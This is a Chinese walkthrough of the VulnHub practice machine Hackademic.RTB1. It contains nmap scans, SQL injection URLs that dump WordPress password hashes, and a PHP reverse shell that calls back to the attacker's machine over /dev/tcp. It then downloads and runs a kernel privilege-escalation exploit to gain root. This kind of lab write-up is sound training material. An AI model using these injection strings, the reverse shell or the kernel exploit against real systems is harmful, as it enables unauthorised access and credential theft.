[vulnhub] Hackademic.RTB1

第一次打靶机,思路看的红队笔记

https://www.vulnhub.com/entry/hackademic-rtb1,17/

环境:kali Linux - 192.168.75.131,靶机 - 192.168.75.132

主机发现和端口扫描

  1. 扫描整个网络有哪台机子在线,不进行端口扫描

    nmap -sP 192.168.75.0/24 
    
    Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-19 09:41 CST
    Nmap scan report for 192.168.75.1
    Host is up (0.00027s latency).
    MAC Address: 00:50:56:C0:00:08 (VMware)
    Nmap scan report for 192.168.75.2
    Host is up (0.00018s latency).
    MAC Address: 00:50:56:FB:CA:45 (VMware)
    Nmap scan report for 192.168.75.132
    Host is up (0.00039s latency).
    MAC Address: 00:0C:29:B7:EB:D3 (VMware)
    Nmap scan report for 192.168.75.254
    Host is up (0.00058s latency).
    MAC Address: 00:50:56:F8:B3:1A (VMware)
    Nmap scan report for 192.168.75.131
    Host is up.
    Nmap done: 256 IP addresses (5 hosts up) scanned in 2.01 seconds
    

    因为靶机是我最后添加的,所以基本可以锁定是132

  2. 执行快速扫描全端口

    nmap -sT -min-rate 10000 -p- 192.168.75.132
    
    Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-19 09:44 CST
    Nmap scan report for 192.168.75.132
    Host is up (0.0014s latency).
    Not shown: 65514 filtered tcp ports (no-response), 19 filtered tcp ports (host-unreach)
    PORT   STATE  SERVICE
    22/tcp closed ssh
    80/tcp open   http
    MAC Address: 00:0C:29:B7:EB:D3 (VMware)Nmap done: 1 IP address (1 host up) scanned in 13.60 seconds
    

    扫描出两个端口22和80,不过因为22是关闭的所以没什么用处,剩下一个80端口

  3. 针对地址使用TCP扫描,探测端口22和80上的服务版本以及操作系统

    nmap -sV -sT -O -p22,80 192.168.75.132     
    
    Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-19 09:49 CST
    Nmap scan report for 192.168.75.132
    Host is up (0.00076s latency).PORT   STATE  SERVICE VERSION
    22/tcp closed ssh
    80/tcp open   http    Apache httpd 2.2.15 ((Fedora))
    MAC Address: 00:0C:29:B7:EB:D3 (VMware)
    Device type: general purpose
    Running: Linux 2.6.X
    OS CPE: cpe:/o:linux:linux_kernel:2.6
    OS details: Linux 2.6.22 - 2.6.36
    Network Distance: 1 hopOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 8.57 seconds
    

    探测到是服务器是Apache2.2.15系统是红帽Dedora

  4. 扫描UDP端口

    nmap -sU -min-rate 10000 -p- 192.168.75.132
    
    Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-19 09:53 CST
    Warning: 192.168.75.132 giving up on port because retransmission cap hit (10).
    Nmap scan report for 192.168.75.132
    Host is up (0.00094s latency).
    All 65535 scanned ports on 192.168.75.132 are in ignored states.
    Not shown: 65457 open|filtered udp ports (no-response), 78 filtered udp ports (host-prohibited)
    MAC Address: 00:0C:29:B7:EB:D3 (VMware)Nmap done: 1 IP address (1 host up) scanned in 72.94 seconds
    

    没有UDP端口打开

  5. 漏洞扫描

    nmap -script=vuln -p 22,80 192.168.75.132
    
    Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-19 09:56 CST
    Nmap scan report for 192.168.75.132
    Host is up (0.00085s latency).PORT   STATE  SERVICE
    22/tcp closed ssh
    80/tcp open   http
    |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
    |_http-trace: TRACE is enabled
    | http-enum: 
    |_  /icons/: Potentially interesting folder w/ directory listing
    |_http-dombased-xss: Couldn't find any DOM based XSS.
    |_http-csrf: Couldn't find any CSRF vulnerabilities.
    | http-vuln-cve2011-3192: 
    |   VULNERABLE:
    |   Apache byterange filter DoS
    |     State: VULNERABLE
    |     IDs:  CVE:CVE-2011-3192  BID:49303
    |       The Apache web server is vulnerable to a denial of service attack when numerous
    |       overlapping byte ranges are requested.
    |     Disclosure date: 2011-08-19
    |     References:
    |       https://www.securityfocus.com/bid/49303
    |       https://seclists.org/fulldisclosure/2011/Aug/175
    |       https://www.tenable.com/plugins/nessus/55976
    |_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
    | http-slowloris-check: 
    |   VULNERABLE:
    |   Slowloris DOS attack
    |     State: LIKELY VULNERABLE
    |     IDs:  CVE:CVE-2007-6750
    |       Slowloris tries to keep many connections to the target web server open and hold
    |       them open as long as possible.  It accomplishes this by opening connections to
    |       the target web server and sending a partial request. By doing so, it starves
    |       the http server's resources causing Denial Of Service.
    |       
    |     Disclosure date: 2009-09-17
    |     References:
    |       http://ha.ckers.org/slowloris/
    |_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
    MAC Address: 00:0C:29:B7:EB:D3 (VMware)Nmap done: 1 IP address (1 host up) scanned in 145.51 seconds
    

    找到个有趣的文件夹 /icons/ ,并且该靶机容易遭受DDos ,不过对我们没有帮助

渗透阶段

  1. 访问主机web服务

    在这里插入图片描述

    点击target目标得到信息,就是然我们获得root权限,然后读取key.txt

    Got root?!
    Friday, January 7, 2011 | 4:08 amThis is the first Realistic Hackademic Challenge (root this box).
    Have you got the skills to exploit this box and to take root?Goal:
    Gain access to the (HackademicRTB1) box and read the “Key.txt” file in the root directory.
    
  2. 发现,点击页面的Get root链接后的url是这样的

    http://192.168.75.132/Hackademic_RTB1/?p=9
    

    以及下方 Uncategorized 的链接

    http://192.168.75.132/Hackademic_RTB1/?cat=1
    

    ?p 以及?cat很可能存在sql注入漏洞

  3. 尝试一下sql注入和文件包含

    p参数无任何回显,应该不存在sql注入和文件包含

    cat输入1' ,发现页面回显有问题,把sql语句爆了出来,SELECT * FROM wp_categories WHERE cat_ID = 1\\\' LIMIT 1 ,并且可以看到表是wp_categories

    在这里插入图片描述

  4. 尝试注入,手工

    // 存在注入点
    http://192.168.75.132/Hackademic_RTB1/?cat=1 and 1=2
    // 表的列数有五列
    http://192.168.75.132/Hackademic_RTB1/?cat=1 order by 5
    // 爆回显位,页面回显位是第二位
    http://192.168.75.132/Hackademic_RTB1/?cat=0 union select 1,2,3,4,5
    // 爆库,页面回显 wordpress ,表示库名是wordpress 
    http://192.168.75.132/Hackademic_RTB1/?cat=0 union select 1,database(),3,4,5
    
  5. 发现库名是wordpress ,猜测CMS是wordpress ,我们寻找一下看看有没有有用的信息

    在这里插入图片描述

    发现确实是wordpress并且版本是1.5.11

  6. 为了方便注入,我们到网上查找wordpress的表结构

    https://codex.wordpress.org/Database_Description

    值得我们关注的是 **wp_users**表

    user_loginuser_passuser_level 中的三个字段

  7. 接着注入

    获取表的user_loginuser_passuser_level 中的三个字段,并以-为分隔符

    http://192.168.75.132/Hackademic_RTB1/?cat=0 union select 1,group_concat(user_login,0x2d,user_pass,0x2d,user_level),3,4,5 from wp_users
    

    得到数据:

    NickJames-21232f297a57a5a743894a0e4a801fc3-1,
    JohnSmith-b986448f0bb9e5e124ca91d3d650f52c-0,
    GeorgeMiller-7cbb3252ba6b7e9c422fac5334d22054-10,
    TonyBlack-a6e514f9486b83cb53d8d932f9a04292-0,
    JasonKonnors-8601f6e1028a8e8a966f6c33fcd9aec4-0,
    MaxBucky-50484c19f1afdaf3841a0d821ed393d2-0
    

    可以发现GeorgeMiller 的权限是10是最大的,密码格式看着像是md5,我们拿到cmd5破解

    查询结果:q1w2e3

  8. 我们找到后台,使用GeorgeMiller 登陆进去

    后台地址是 : http://192.168.75.132/Hackademic_RTB1/wp-login.php

    登陆成功!

登录后台上传shell

登陆后台后,wordpress我们一般要做的是打开文件上传功能,并且上传getshell

  1. 开启文件上传功能,并且添加php后缀

    在这里插入图片描述

  2. 上传getshell.php

    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

    文件内容是:

    // getshell.php
    <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.75.131/1234 0>&1'"); ?>
    

    上传成功,并且返回路径 /Hackademic_RTB1/wp-content/getshell.php

  3. 反弹shell

    首先Kali先开启监听,监听1234端口

    nc -lvp 1234                             
    listening on [any] 1234 ...
    

    再访问/Hackademic_RTB1/wp-content/getshell.php

    最后查看kali,发现反弹shell成功

    istening on [any] 1234 ...
    192.168.75.132: inverse host lookup failed: Unknown host
    connect to [192.168.75.131] from (UNKNOWN) [192.168.75.132] 49339
    bash: no job control in this shell
    bash-4.0$ ls
    ls
    getshell.php
    getshell_01.php
    plugins
    themes
    bash-4.0$ 
    

提权

  1. 先用python增强shell的交互性

    // 靶机shell
    python -c "import pty;pty.spawn('/bin/bash')"
    
  2. 查看shell权限

    // 靶机shell
    bash-4.0$ whoami
    apachebash-4.0$ dpkg -l
    bash: dpkg: command not foundbash-4.0$ sudo -l
    sudo: sorry, you must have a tty to run sudobash-4.0$ uname -a
    Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux

    用户是apachedpkgsudo 无法使用,内核版本是2.6.31.5 ,权限是比较低的

  3. 因为ssh是关闭的,所以我们找密码也没有用处,看到内核版本比较老,可以尝试一下搜索内核漏洞,但是内核版本不太太详细,否则或错过一些好使的漏洞,并且过滤 “Privilege Escalation” - 权限提升

    searchsploit Linux Kernel 2.6 | grep "Privilege Escalation"
    
    Linux Kernel (Solaris 10 / < 5.10 138888-01) - Local Privilege Escalation | solaris/local/15962.c
    Linux Kernel 2.2.25/2.4.24/2.6.2 - 'mremap()' Local Privilege Escalation  | linux/local/160.c
    Linux Kernel 2.4.x/2.6.x - 'uselib()' Local Privilege Escalation (3)      | linux/local/895.c
    Linux Kernel 2.4/2.6 - 'sock_sendpage()' Local Privilege Escalation (3)   | linux/local/9641.txt
    Linux Kernel 2.6.0 < 2.6.31 - 'pipe.c' Local Privilege Escalation (1)     | linux/local/33321.c
    Linux Kernel 2.6.10 < 2.6.31.5 - 'pipe.c' Local Privilege Escalation      | linux/local/40812.c
    Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation | linux/local/2004.c
    Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation | linux/local/2005.c
    Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation | linux/local/2006.c
    Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation | linux/local/2011.sh
    Linux Kernel 2.6.17 - 'Sys_Tee' Local Privilege Escalation                | linux/local/29714.txt
    Linux Kernel 2.6.17 < 2.6.24.1 - 'vmsplice' Local Privilege Escalation (2 | linux/local/5092.c
    Linux Kernel 2.6.17.4 - 'proc' Local Privilege Escalation                 | linux/local/2013.c
    Linux Kernel 2.6.18 < 2.6.18-20 - Local Privilege Escalation              | linux/local/10613.c
    Linux Kernel 2.6.19 < 5.9 - 'Netfilter Local Privilege Escalation         | linux/local/50135.c
    Linux Kernel 2.6.23 < 2.6.24 - 'vmsplice' Local Privilege Escalation (1)  | linux/local/5093.c
    Linux Kernel 2.6.28/3.0 (DEC Alpha Linux) - Local Privilege Escalation    | linux/local/17391.c
    Linux Kernel 2.6.32 - 'pipe.c' Local Privilege Escalation (4)             | linux/local/10018.sh
    Linux Kernel 2.6.36-rc8 - 'RDS Protocol' Local Privilege Escalation       | linux/local/15285.c
    Linux Kernel 2.6.x - 'pipe.c' Local Privilege Escalation (2)              | linux/local/33322.c
    Linux Kernel 2.6.x - Ext4 'move extents' ioctl Privilege Escalation       | linux/local/33395.txt
    Linux Kernel 2.6.x - Ptrace Privilege Escalation                          | linux/local/30604.c
    Linux Kernel 4.8.0 UDEV < 232 - Local Privilege Escalation                | linux/local/41886.c
    Linux Kernel < 2.6.11.5 - BlueTooth Stack Privilege Escalation            | linux/local/4756.c
    Linux Kernel < 2.6.22 - 'ftruncate()'/'open()' Local Privilege Escalation | linux/local/6851.c
    Linux Kernel < 2.6.28 - 'fasync_helper()' Local Privilege Escalation      | linux/local/33523.c
    Linux Kernel < 2.6.29 - 'exit_notify()' Local Privilege Escalation        | linux/local/8369.sh
    Linux Kernel < 3.16.1 - 'Remount FUSE' Local Privilege Escalation         | linux/local/34923.c
    Linux Kernel < 3.4.5 (Android 4.2.2/4.4 ARM) - Local Privilege Escalation | arm/local/31574.c
    Linux kernel < 4.10.15 - Race Condition Privilege Escalation              | linux/local/43345.c
    Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation    | linux/local/44298.c
    

    可以尝试一下这两个

    Linux Kernel 2.6.36-rc8 - 'RDS Protocol' Local Privilege Escalation       | linux/local/15285.c
    Linux Kernel 2.6.x - 'pipe.c' Local Privilege Escalation (2)              | linux/local/33322.c
    
  4. kali使用 searchsploit -m <name> 拉取下来,并且使用php -S 0:80 再当前目录创建web服务器(方便靶机下载)

    earchsploit -m 15285.c
    earchsploit -m 33322.c
    php -S 0:80
    
  5. 使用靶机的shell下载拉取下来的payload

    // 靶机shell
    bash-4.0$ wget 192.168.75.131/33322.c // 重复操作--2024-09-19 04:51:42--  http://192.168.75.131/33322.c
    Connecting to 192.168.75.131:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 4517 (4.4K) [text/x-c]
    Saving to: `33322.c'0K ....                                                  100% 5.94M=0.001s2024-09-19 04:51:42 (5.94 MB/s) - `33322.c' saved [4517/4517]
    
  6. 我自己尝试了33322.c不成功,所以再尝试15285.c

    // 靶机shell
    gcc 15285.c -o 15285 // 编译./15285 //运行
    [*] Linux kernel >= 2.6.30 RDS socket exploit
    [*] by Dan Rosenberg
    [*] Resolving kernel addresses...[+] Resolved security_ops to 0xc0aa19ac[+] Resolved default_security_ops to 0xc0955c6c[+] Resolved cap_ptrace_traceme to 0xc055d9d7[+] Resolved commit_creds to 0xc044e5f1[+] Resolved prepare_kernel_cred to 0xc044e452
    [*] Overwriting security ops...
    [*] Linux kernel >= 2.6.30 RDS socket exploit
    [*] by Dan Rosenberg
    [*] Resolving kernel addresses...[+] Resolved security_ops to 0xc0aa19ac[+] Resolved default_security_ops to 0xc0955c6c[+] Resolved cap_ptrace_traceme to 0xc055d9d7[+] Resolved commit_creds to 0xc044e5f1[+] Resolved prepare_kernel_cred to 0xc044e452
    [*] Overwriting security ops...
    [*] Overwriting function pointer...
    [*] Linux kernel >= 2.6.30 RDS socket exploit
    [*] by Dan Rosenberg
    [*] Resolving kernel addresses...[+] Resolved security_ops to 0xc0aa19ac[+] Resolved default_security_ops to 0xc0955c6c[+] Resolved cap_ptrace_traceme to 0xc055d9d7[+] Resolved commit_creds to 0xc044e5f1[+] Resolved prepare_kernel_cred to 0xc044e452
    [*] Overwriting security ops...
    [*] Overwriting function pointer...
    [*] Triggering payload...
    [*] Restoring function pointer...
    
  7. 一长串操作后,我们输入whoami尝试,提权成功!

    // 靶机shell
    whoami
    root
    
  8. 寻找之前说的key.txtflag可能就住在里面

    // 靶机shell
    cd root // 发现root文件夹下存在key.txt
    cat key.txt // 读取
    

    $_d&jgQ>>ak\#b"(Hx"o<la_% 可能就是flag

    Yeah!!
    You must be proud because you 've got the password to complete the First *Realistic* Hackademic Challenge (Hackademic.RTB1) :)$_d&jgQ>>ak\#b"(Hx"o<la_%Regards,
    mr.pr0n || p0wnbox.Team || 2011
    http://p0wnbox.com

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/430600.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JavaSE高级(3)——lombok、juint单元测试、断言

一、lombok的使用 默认jvm不解析第三方注解&#xff0c;需要手动开启 链式调用 二、juint单元测试 下载juint包 public class TestDemo {// 在每一个单元测试方法执行之前执行Beforepublic void before() {// 例如可以在before部分创建IO流System.out.println("befor…

力扣周赛 —— 416

前言 只做出了第一道&#xff0c;第二第三道都超时。 痛&#xff0c;太痛了。 题目 Q1.举报垃圾信息 给你一个字符串数组 message 和一个字符串数组 bannedWords。 如果数组中 至少 存在两个单词与 bannedWords 中的任一单词 完全相同&#xff0c;则该数组被视为 垃圾信息。…

HTML讲解(三)通用部分

目录 1.空格标记 2.特殊文字的标记 3.注释语句 4.对文字字体的设置 5.修改文字形态 6.换行标记 7.居中标记 8.水平线标记 9.设置滚动弹幕 1.空格标记 在HTML中&#xff0c;我们想打印空格并不能直接敲一个空格键&#xff0c;因为如果是敲空格键&#xff0c;那无论你敲…

【已解决】ElementPlus 的 el-menu 组件如何用 js 控制展开某个子菜单,并在其他组件中控制使用呢?

文章目录 需求几次探索官网寻找线索&#xff08;解决办法&#xff09; 需求 我如何用代码来实现 ElementPlus 的菜单的展开和收缩呢&#xff1f; 几次探索 尝试通过找到节点之后&#xff0c;使用 click 事件&#xff0c;失败了 // 伪代码如下 const handleFindNodeAndClick …

vue Echart使用

一、在vue中使用Echarts 1.安装Echarts npm install echarts --save2.准备一个呈现图表的盒子 给盒子起名字是建议使用id选择器 这个盒子通常来说就是我们熟悉的 div &#xff0c;这个 div 决定了图表显示在哪里&#xff0c;盒子一定要指定宽和高 <div id"main&quo…

Scott Brinker:营销运营这一角色很棒可能会变得更棒;以下是关于相关职位的最新数据

营销运营职位晋升频繁 如果你在市场营销部门工作&#xff0c;生活可能相当不错。74%的营销人员表示&#xff0c;他们对自己的角色有些满意或非常满意。在过去的一年里&#xff0c;超过一半的人得到了晋升或找到了新工作。平均而言&#xff0c;他们的薪水比组织中其他类型的营销…

二、八、十、十六进制的相互转换(期末考试必备)

本文中写的计算方法和计算流程不一定就是正确规范的。。。 参考&#xff0c;仅供参考&#xff0c;如果有问题欢迎指出 目录 一、二进制 1.1 【二】进制转换【十】进制 1.2 【二】进制转换【八】进制 1.3 【二】进制转换【十六】进制 二、八进制 2.1 【八进制】转【二进…

Vue学习记录之八(局部组件,全局组件,递归组件,动态组件)

一、局部组件 在src\components\Card.vue 建立一个文件&#xff0c;代码如下&#xff1a; <template><div class"card"><header><div>标题</div><div>副标题</div></header><section>内容</section>&…

【HTML5】html5开篇基础(1)

1.❤️❤️前言~&#x1f973;&#x1f389;&#x1f389;&#x1f389; Hello, Hello~ 亲爱的朋友们&#x1f44b;&#x1f44b;&#xff0c;这里是E绵绵呀✍️✍️。 如果你喜欢这篇文章&#xff0c;请别吝啬你的点赞❤️❤️和收藏&#x1f4d6;&#x1f4d6;。如果你对我的…

【标准库的典型内容】std::declval

一、 d e c l v a l declval declval的基本概念和常规范例 s t d : : d e c l v a l std::declval std::declval 是 C 11 C11 C11标准中出现的一个函数模板。这个函数模板设计的比较奇怪&#xff08;没有实现&#xff0c;只有声明&#xff09;&#xff0c;因此无法被调用&…

Android15之编译Cuttlefish模拟器(二百三十一)

简介&#xff1a; CSDN博客专家、《Android系统多媒体进阶实战》一书作者 新书发布&#xff1a;《Android系统多媒体进阶实战》&#x1f680; 优质专栏&#xff1a; Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a; 多媒体系统工程师系列【…

OpenCV特征检测(5)检测图像中的角点函数cornerMinEigenVal()的使用

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 计算用于角点检测的梯度矩阵的最小特征值。 该函数类似于 cornerEigenValsAndVecs&#xff0c;但它计算并存储协方差矩阵导数的最小特征值&…

MovieLife 电影生活

MovieLife 电影生活 今天看到一个很有意思的项目&#xff1a;https://www.lampysecurity.com/post/the-infinite-audio-book “我有一个看似愚蠢的想法。通常&#xff0c;这类想法只是一闪而过&#xff0c;很少会付诸实践。但这次有所不同。假如你的生活是一部电影&#xff0c…

vi | vim基本使用

vim三模式&#xff1a;① 输入模式 ②命令模式 ③末行模式&#xff08;编辑模式&#xff09; vim四模式&#xff1a;① 输入模式 ②命令模式 ③末行模式&#xff08;编辑模式&#xff09; ④V模式 一、命令模式进入输入模式方法&#xff1a; 二、命令模式基…

影刀RPA实战:java结合影刀同步采购订单数据

1.实战目标 本次实战我们用java语言结合影刀&#xff0c;实现从自用ERP系统同步订单到旺店通中&#xff0c;在工作中&#xff0c;有时候我们的运营数据不是直接在旺店通ERP中操作&#xff0c;比如我们有自己的ERP&#xff0c;完成一些特定的内部工作后&#xff0c;再把数据同步…

Rustrover2024.2 正式发布:个人非商用免费,泰裤辣

如果这个世界本身 已经足够荒唐 那究竟什么才能算是疯狂 爱情就是这样 一旦错过了 就会有另一个人代替 我们知道 jetbrains 在今年的早些时候正式为 rust 语言发布了专用的 IDE &#xff0c;也就是 rustrover。如今 rustrover 也正式跻身为 jetbrains IDE 系列的一员猛将。…

Python | Leetcode Python题解之第424题替换后的最长重复字符

题目&#xff1a; 题解&#xff1a; class Solution:def characterReplacement(self, s: str, k: int) -> int:num [0] * 26n len(s)maxn left right 0while right < n:num[ord(s[right]) - ord("A")] 1maxn max(maxn, num[ord(s[right]) - ord("…

Linux学习笔记13---GPIO 中断实验

中断系统是一个处理器重要的组成部分&#xff0c;中断系统极大的提高了 CPU 的执行效率&#xff0c;本章会将 I.MX6U 的一个 IO 作为输入中断&#xff0c;借此来讲解如何对 I.MX6U 的中断系统进行编程。 GIC 控制器简介 1、GIC 控制器总览 I.MX6U(Cortex-A)的中断控制器…

科研绘图系列:R语言堆积图(stacked barplot)

文章目录 介绍加载R包导入数据数据预处理画图导出数据系统信息介绍 微生物堆积图是一种数据可视化工具,通常用于展示微生物群落中不同物种的相对丰度。这种图表通过将每个样本中的微生物按照其分类学等级(如门、属等)进行分类,并以不同颜色的块状图表示,每个块的大小代表…

信息安全工程师(13)网络攻击一般过程

前言 网络攻击的一般过程是一个复杂且系统化的行为&#xff0c;其目标往往在于未经授权地访问、破坏或窃取目标系统的信息。 一、侦查与信息收集阶段 开放源情报收集&#xff1a;攻击者首先会通过搜索引擎、社交媒体、论坛等公开渠道获取目标的基本信息&#xff0c;如姓名、地址…